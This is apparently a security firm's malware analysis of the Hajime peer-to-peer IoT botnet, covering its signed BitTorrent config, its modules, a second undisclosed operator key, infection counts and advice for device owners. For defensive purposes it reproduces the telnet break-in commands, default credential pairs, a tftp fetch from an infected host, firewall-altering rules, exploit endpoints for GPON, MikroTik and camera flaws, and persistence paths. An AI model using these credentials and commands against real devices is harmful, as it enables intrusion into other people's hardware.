cybersecurity Request an audit

Malware analysis / peer-to-peer IoT botnet / Hajime

Hajime in 2026: the vigilante botnet that still guards your router, and the key nobody talks about

Hajime breaks into routers, cameras and video recorders, then locks the doors that Mirai uses to get in. It has never attacked anyone. On 2 December 2026 an infected device tried to install it on one of our decoys, so we followed it all the way: we fetched its signed instructions from the live botnet, ran it in a sealed lab and read its code. The instructions it obeys today were signed on 25 May 2018. And besides the well-known signing key, the bot carries a second, unpublished key that lets one person log in to any infected device and route traffic through it.

One infection, start to finish seen on our decoy or in our lab read in the code

  1. Findrandom scan, or other bots found in the BitTorrent network
  2. Break intelnet with a guessed password
  3. Lookreads 52 bytes of /bin/echo to learn the chip
  4. Deliverthe bot comes from another infected device, never from the author
  5. Lockblocks ports 23, 7547, 5555 and 5358; removes the provider's hook
  6. Joinenters the BitTorrent network, fetches signed instructions
  7. Waitfor a signed file, or for the operator's login
Steps 1 to 3 and 5 to 6 were recorded on our telnet decoy or in our sealed lab. Delivery and the operator's login come from reading the code; we could not make the delivery happen in the lab.

The short version

  • Hajime is old and still alive. It was first described in 2016. Researchers counted up to 300,000 infected devices in 2017 and about 95,000 at a time in 2018. In November 2026 others still counted thousands. In the first 70 minutes of 2 December our listener alone heard from 3,744 infected addresses.
  • Nobody has steered it since May 2018. We fetched its instructions file from the live botnet. It carries a valid signature from the author's key, it is dated 25 May 2018, and it lists ten modules, the newest from the same day. For eight and a half years the network has run on autopilot.
  • It does what the author's message says. It spreads, it locks the doors that Mirai-type botnets use, and it waits. We found no flood code, no mining, no data theft and no remote shell, in the bot or in any of the six modules we fetched.
  • But it can do one more thing. The bot holds a second public key, e54c2919..., that we could not find in any public write-up. Whoever holds its private half can log in to any infected device and order it to open a connection anywhere and pass traffic both ways. In our reading that turns the whole botnet into a hidden proxy network for one person.
  • We cannot give it orders, and neither can anyone else without that key. Both keys inside the bot are public keys: they only check signatures. We did not try.
  • New to MalwareBazaar. Three of the six signed modules were unknown there. We uploaded them on 2 December.

How it reached us

On 2 December 2026 an infected device logged in to our telnet decoy and told it to fetch a program with tftp -g 213.6.101.83:1609. Our decoy now really makes such downloads, keeps the file and never runs it. The file was an ARM program, SHA-256 a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3, packed with UPX and with the UPX! markers overwritten by f5 96 a4 b5 so standard tools refuse to unpack it. MalwareBazaar already knew it as Hajime, first seen in 2020 (listed by another researcher). Earlier the same day a different address had sent our decoy tftp -g 78.39.95.111:14668; that server was gone when we went back. The code later explained why: the "server" is the attacking device itself, which serves the bot from a short-lived port.

We restored the markers, unpacked the program and read it. We ran it only in a sealed lab: an emulator in a container with no network at all, talking to a pretend network that we wrote, which answered as DNS, as a clock, as the BitTorrent network and as one fellow bot.

No control server: orders travel through BitTorrent

Most botnets call a control server, which is also their weak point: take the server down and the bots go deaf. Hajime has none. It joins the public BitTorrent distributed hash table (the "DHT" that torrent clients use to find each other), starting from router.utorrent.com and router.bittorrent.com, and gets the date from pool.ntp.org. Those are the only fixed names in the program, and none belongs to the author.

Every file the bots share has a daily address in the DHT: SHA-1 over the date and the SHA-1 of the file's name, as Rapidity Networks described in 2016. We checked the formula against the running bot: on 2 December 2026 it asked for ac107970...f7c9 for its instructions file, exactly what we had computed. Each morning every bot looks up today's address for config, downloads it from whichever bots hold it, and checks the author's signature before it believes a byte.

Talking to a bot

Bots talk to each other over uTP, the BitTorrent transport that runs on UDP. Each message is a 4-byte length, a type and a payload, encrypted with RC4. The 2016 analysis by Rapidity Networks describes the key exchange as plain Curve25519. The build we caught does something else, which we confirmed by running the bot's own routines in an emulator and comparing with the libsodium library: each side sends an Ed25519 public key, and the shared key comes from NaCl's crypto_box_beforenm after converting that key, that is X25519 followed by HSalsa20.

Our clienton our decoy server
A Hajime botany infected device

type 0: flag 00, 32-byte Ed25519 key, random padding

the key exchange

type 0: flag 01, its own key

both sides now derive the same RC4 key

type 2: config

"send me this file"

type 3: the file

header, 128-byte signature area, LZ4 body
The bot believes the file only if the first 64 bytes of its signature area are a valid Ed25519 signature by the author's key A55CEED4....
The exchange our client made with live bots on 2 December 2026, from our decoy server. Our client only ever sends types 0 and 2.

The instructions it still obeys

From our decoy server we asked the DHT who held today's config. It named 75 devices; we tried eight, and one of them sent the file. Its signature checks out against the author key that 360 Netlab published in 2018. Here it is, as received:

config / signed 2018-05-25 23:46:35 UTCas received, 466 bytes unpacked
[modules].i.arm5.1506551478.i.arm7.1523223064atk.mipseb.1527291994.i.mipsel.1524524407.i.mipseb.1525799909atk.arm6.1525299774atk.arm7.1526150975atk.arm5.1522002587.i.arm6.1524524403atk.mipsel.1525235841[peers]router.utorrent.comrouter.bittorrent.com[info]Just a white hat, securing some systems.Important messages will be signed like this!Hajime Author.Give me a place to stand and with a lever I will move the whole world.
The file name of each module is its type (.i is the bot, atk the spreading module), the chip, and a Unix time: the builds run from 27 September 2017 to 25 May 2018. The marked module was built one second before the file was signed. In the file the message is coloured with terminal codes, green and then bold red.

The 2019 study by Herwig and colleagues downloaded 50 versions of this file between March and May 2018 and first saw the Archimedes quote on 2 April 2018. Their measurement ended on 31 May 2018. The version we received was signed six days before that. What is new is not the file but its age: as far as we can find, nobody has signed anything since, and the bots still pass it around.

Ten modules, two per chip

Hajime builds for five chip types (ARM v5, v6 and v7, and MIPS in both byte orders) and has two modules for each: .i, the bot itself, and atk, which finds and breaks into new devices. Each module has its own daily address in the DHT. We fetched six of the ten; for the four ARM v5 and v6 files the DHT named only three to five holders and none answered. All six carry a valid author signature.

ModuleSigned (UTC)On MalwareBazaar
.i.arm72018-04-08 21:31another researcher's entry (2020); the same file our decoy caught
.i.mipsel2018-04-23 23:00another researcher's entry (2021)
.i.mipseb2018-05-08 17:18another researcher's entry (2021)
atk.mipsel2018-05-02 04:37our entry, first upload, 2 December 2026
atk.arm72018-05-12 18:49our entry, first upload, 2 December 2026
atk.mipseb2018-05-25 23:46our entry, first upload, 2 December 2026

What it does to a device

Started in our lab, the bot did the same things in the same order every time:

  1. Looked up pool.ntp.org and asked for the time. It needs the date to work out the day's DHT addresses.
  2. Closed the doors. It ran iptables -A INPUT -p tcp --destination-port 23 -j DROP and the same for ports 7547, 5555 and 5358, then deleted the CWMP_CR firewall chain. Port 23 is telnet, 5358 a telnet alternative, 5555 Android debugging, and 7547 is the remote-management port that internet providers use to configure and update their customers' routers (TR-069), which the Mirai variants of late 2016 attacked through its TR-064 interface. CWMP_CR is the rule that lets the provider's management server through.
  3. Opened one random UDP port in the firewall for itself, renamed itself telnetd and joined the DHT.
  4. Downloaded the instructions and its attack module, checked both signatures, and started the module.

It survives a reboot on some devices

The ARM v7 and little-endian MIPS bot builds we hold have no way to survive a restart: they live in a temporary folder and are gone after a reboot, until a neighbour breaks in again. The big-endian MIPS build, the most common one, is different. It carries two ways to restart itself, which we read in its code:

  • On devices with a /flash/etc/rc.d/run.d folder it writes a start script S99telnetd that runs its copy in /flash/bin/.telnetd. In our reading this folder layout matches MikroTik routers.
  • On devices with /mnt/rwdir it moves itself to /mnt/rwdir/.telnetd and rewrites a copy of the device's own /sbin/setup.sh to start it.

The 2019 study noticed this persistence being added in March 2018. So "just reboot it" works for many infected devices, but not all.

How it spreads

The attack module finds new victims in two ways. First, it sends its own TCP connection requests to random internet addresses and sorts the answers: ports 23 and 5358 go to the telnet attack, and web and management ports (80 to 82, 5555, 7547, 8080 to 8082 and 9090) get an exploit attempt. It skips private networks, a list of old US military, government and company blocks, and three single /16 ranges: 77.247.0.0, 85.159.0.0 and 109.201.0.0. Second, it looks up the other bots in the DHT, says hello to each, and breaks into any bot that does not answer within about 40 seconds, to put back bots that a reboot removed.

The exploits, read from the modules:

  • GPON home routers: command injection through /GponForm/diag_Form (CVE-2018-10561 and CVE-2018-10562). Only in the newest module.
  • MikroTik routers: a POST /jsproxy that makes the router run /tool fetch to download the bot. The 2019 study identifies this as the Chimay-Red exploit (CVE-2017-20149).
  • TR-064 on port 7547 (/UD/act?1), the hole the 2016 Mirai variants used (CVE-2016-10372).
  • GoAhead IP cameras: a command hidden in the FTP settings page, set_ftp.cgi, fired through ftptest.cgi.
  • HiSilicon video recorders: commands to their management service.
  • UPnP: on its own router, a bot that serves downloads asks UPnP to open its port to the internet.

The break-in, as we recorded it

telnet / one Hajime break-in / our decoy and our sealed lab
# a guessed login from its built-in list, then:enablesystemshellshcat /proc/mounts; /bin/busybox XXXXX# XXXXX is five random letters; their echo marks the end of each answercd <a writable folder>; cat .s || cp /bin/echo .stftp; wget# which download tools exist?dd bs=52 count=1 if=.s# the first 52 bytes of the device's own echo program: its chip typerm .s; exit# no fellow bot was serving that chip, so it gave up

The same commands reached our live decoy hundreds of times on 2 December. Logins it guessed in our lab include 888888/888888, root/klv123, root/zlxx., supervisor/supervisor and root/Win1doW$.

When a fellow bot is serving the right chip, the attacker instead tells the victim to fetch the bot from that bot, with wget, with tftp, or, on devices with neither, by typing a 480-byte program with echo whose only job is to pull the bot over a plain TCP connection. The same tiny downloader was described by MalwareMustDie in November 2026. Either way the bot always comes from another infected device. The author never serves a file.

Who gives the orders

The bot contains two Ed25519 public keys. A public key can only check a signature; signing needs the matching private key, which only the author holds.

Key (public half)What it controlsPublished before?
a55ceed41fecb3ac66b6515ab5d383791b00fec166a590d7626a04c2466b3f54Files: the instructions and every module must be signed with itYes, by 360 Netlab in 2018
e54c2919894805b74979a924c96a824495aa4578dcd2ba17f57fbe156ec05c6bOperator login to any single botNot in any write-up we could find

The messages a bot accepts, read from its message handler:

What a bot will do when asked anyone may ask needs the operator's login

  • 0key exchange
  • 1operator login: challenge and signed answer
  • 2send me this file
  • 3here is the file; kept only if the author signed it
  • 4relay: connect to this address and pass traffic
  • 5I have a file for you; the bot then asks for it
  • 6a message for a running module, with the login flag attached
Read from the unpacked ARM bot. There is no type that runs a command on the device.
The operatorfrom any internet address
Any Hajime botone infected device

type 0, then type 1

"I want to log in"

type 1: 64 to 191 random bytes

the challenge

type 1: an Ed25519 signature over the first 64 bytes

possible only with the private half of e54c2919...
Logged in. The bot marks the connection as trusted.

type 4: an IPv4 address and port

the bot connects there and links the two connections

traffic, both ways

the far side sees the infected device's address
Read from the code, not observed. A connection the bot opens for a relay is itself marked as logged in, so in our reading the operator can chain bots, each one hiding the last.

So the botnet has two levers. The author key decides what every bot installs: any new module, signed, would spread to every device within a day, and the bots would run it. The login key lets one person borrow any device, from any address, without leaving a mark on the network. Whoever holds the private half of e54c2919... runs Hajime. Nothing in the code tells us who that is or where they are, and in eight years of reporting we found no public description of this login.

A third value in the bot, c0dd2697..., looks like a privileged peer key at first sight. It is not: the only code that reads it picks which of two encryption states is used for sending. It unlocks nothing.

What it does not do

We followed every place where the attack module sends packets: the scanner, its small TFTP server, UPnP and DNS. We read every message type of the bot. We found:

  • no flood or other denial-of-service code;
  • no crypto mining;
  • no theft of passwords, files or traffic;
  • no way for anyone to run a command on the device. The only programs the bot starts are its own firewall rules and its own modules.

Whatever its author meant, in eight years Hajime has never been seen attacking anyone. Its two effects on the world are that it spreads, and that it keeps other bots out.

How many are still out there

On 2 December 2026 we started a passive listener on our decoy server. It announces itself in the DHT as a holder of the day's files, like any bot does, and records the bots that come to it. It completes the key exchange and nothing more: it never sends a file and never sends any of the other message types. In its first 70 minutes, from 21:41 to 22:51 UTC:

Bots that completed the key exchange with us, by chip they serve2 December 2026, 21:41 to 22:51 UTC

MIPS big-endian2,931
no chip stated448
ARM v7140
MIPS little-endian72
3,744 addresses completed the key exchange; 3,591 of them said hello and stated a chip or none. 2,940 said they were serving the bot for download. Several devices behind one router share an address, so these are addresses, not devices, and only the bots that happened to find us.
  • 3,744 addresses completed the key exchange, which takes several messages both ways, so the addresses are real and not forged.
  • Bots asked us for the instructions file 2,008 times. We have no file to give, so they got nothing.
  • No operator login, no relay order and no file offer arrived.

Others count in other ways. MalwareMustDie counted 3,029 infected addresses in 111 countries in November 2026, and Brandefense reported 16,292 sightings in 149 countries up to 20 November 2026. All of these, ours included, are samples. Nobody outside can count the whole network.

One lesson for anyone who tries this. At first our listener also announced the attack modules' names. Bots treat every holder of an attack module as a fellow bot to check on, and since ours never answered their hello, they broke into our telnet decoy, about 250 times every five minutes. We stopped announcing those names the same evening.

Could someone switch it off?

Not without the author's keys. A "remove yourself" module would need the author's signature, and a takeover would need the login key's private half. Breaking either is not practical with any computer that exists. The ways that remain, such as flooding the DHT with fake holders so new infections find nothing, would mean interfering with hundreds of thousands of other people's devices. That is a job for courts and police, not for researchers, and we did not try.

There is also a reason to be careful. Removing Hajime without fixing the weak passwords would reopen telnet on every one of those devices, and the Mirai variants we record every day would walk in. The fix that lasts is on the owner's side.

If you own one of these devices

  • Change the password, and make sure telnet is switched off. Every Hajime infection we saw started with a guessed telnet password.
  • Update the firmware, especially on GPON routers, MikroTik routers and cameras. The exploits it carries were all fixed years ago.
  • Look for the signs: a process called telnetd running from a writable folder, a .p folder next to it, firewall rules dropping ports 23, 5358, 5555 and 7547, and a missing CWMP_CR chain. On MikroTik look for /flash/etc/rc.d/run.d/S99telnetd.
  • Then reboot. On most devices that removes it; on the ones above, delete the start script first.
  • Block the addresses that attack our decoys with our free firewall feed, or check your own systems with the Threat Analysis Toolkit.

What is new, and what is not

Most of Hajime was taken apart years ago. Rapidity Networks described its protocol and DHT addresses in 2016. Kaspersky and others followed it in 2017, 360 Netlab published the author key in 2018, and the 2019 NDSS study measured it for months, including the config updates, the Archimedes message, the port blocking and the exploits. We build on their work.

What we did not find in any of it:

  • the second key and the operator login it guards, and the relay that login unlocks;
  • the actual key exchange of the current builds (Ed25519 keys and crypto_box_beforenm);
  • proof that the botnet still runs, in December 2026, on the instructions of 25 May 2018;
  • three of the signed attack modules, which were not on MalwareBazaar until we uploaded them.

We searched before writing this. A report we could not reach may still cover some of it.

What we reported

  • MalwareBazaar: the three attack modules above, uploaded on 2 December 2026.
  • Networks of infected devices: ten automatic reports went out on 2 December about home devices that broke into our decoy, before we stopped them. Those bots came because our listener had invited them, so we no longer report Hajime break-ins.
  • Response teams: nothing so far. The list of infected addresses our listener gathers was seen only over UDP, which our rules keep out of reports; if it goes to a team that can warn the owners, it will say so.

Indicators

Free to use, with or without credit.

WhatValue
Author signing key (Ed25519, public)a55ceed41fecb3ac66b6515ab5d383791b00fec166a590d7626a04c2466b3f54
Operator login key (Ed25519, public)e54c2919894805b74979a924c96a824495aa4578dcd2ba17f57fbe156ec05c6b
Instructions file (as received)71de04a046b0480a6d4cbd3efce153382031510c691ceb7443d515f719516a01
Bot ARM v7, inner programa04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
Bot MIPS little-endian, inner programd5601202dff3017db238145ff21857415f663031aca9b3d534bec8991b12179a
Bot MIPS big-endian, inner program020f1fa6072108c79ed6f553f4f8b08e157bf17f9c260a76353300230fed09f0
Attack module MIPS little-endiane0bc7ca2ad04110fd5b76d0a55565f7356ed0d669d5988896073cc0e58b6b944
Attack module ARM v748aa1cdc3c454e2c12248405a49e24f74630caeaa9a11148b99f6f0a50dbcfea
Attack module MIPS big-endian8844c1bcaa217ebbf73e9ded76d7813e4a84937f8d384bf344678a026f67fb42
Packing trickUPX with every UPX! marker replaced by f5 96 a4 b5
On the deviceprocess telnetd in a writable folder; files .i, .s, ./.p/config, ./.p/.d; /flash/bin/.telnetd, /flash/etc/rc.d/run.d/S99telnetd, /mnt/rwdir/.telnetd
Telnet fingerprintdd bs=52 count=1 if=.s after enable, system, shell, sh

How we know

The first sample came from our own telnet decoy. The instructions file and the six modules were fetched by name from the live botnet on 2 December 2026, from our decoy server, never from an office network. Our client sent only the key exchange and a request for one named file; it never offered files, never logged in and never sent anything else. Fetched files were stored and read, never run outside the lab. The bot ran only in a sealed lab with no network, and its encryption routines were checked in a CPU emulator. Statements about the login, the relay, the reboot persistence and the exploits come from reading the code and are marked as such; the rest was seen. The listener figures come from its own log. Where we say "our reading", it is our interpretation.

A word about the author

We have spent this paper on what Hajime can do, including the uncomfortable part: one unknown person holds a key that could turn hundreds of thousands of devices into a private relay network. That should be said. But it would be unfair to stop there.

Every day our decoys record Mirai variants breaking into the same kind of devices with the same kind of passwords, and taking orders to flood whatever address they are given. We have published the orders of one such botnet, which sent hundreds of flood orders in a single day. Mirai is the reason badly protected routers and cameras are a real danger to everyone else on the internet.

Hajime's author looked at the same problem in 2016 and answered it with the attackers' own methods. Their worm breaks in exactly as Mirai does, then shuts the doors Mirai uses and stays there, guarding. It never flooded anyone, never mined, never stole. It signed its message, "Just a white hat, securing some systems", and as far as the code and eight years of evidence show, it meant it. Then, in May 2018, its author stopped, and the network has gone on doing that one job without them ever since.

It is not legal. Breaking into other people's devices without permission is a crime almost everywhere, Romania included, whatever the motive, and the owners of these devices were never asked. We would not do it, and we do not recommend that anyone does. Locking a door does not fix the weak password behind it, and it also locks out the provider who could. But we can recognise the intent and the result. On hundreds of thousands of devices that their owners and makers had left open, Hajime has stood between the device and the botnets that do real damage, for more than eight years, asking nothing in return. Whoever you are: the internet is a little safer because of what you built, and we wanted to say so.

Free / Threat Analysis Toolkit

Would these attacks work on your systems? Find out in a minute.

Free scanners for macOS, Linux and Windows, a check of your own log files and a test of your address from the internet, built from what our decoys record every day. Nothing is sent back to us.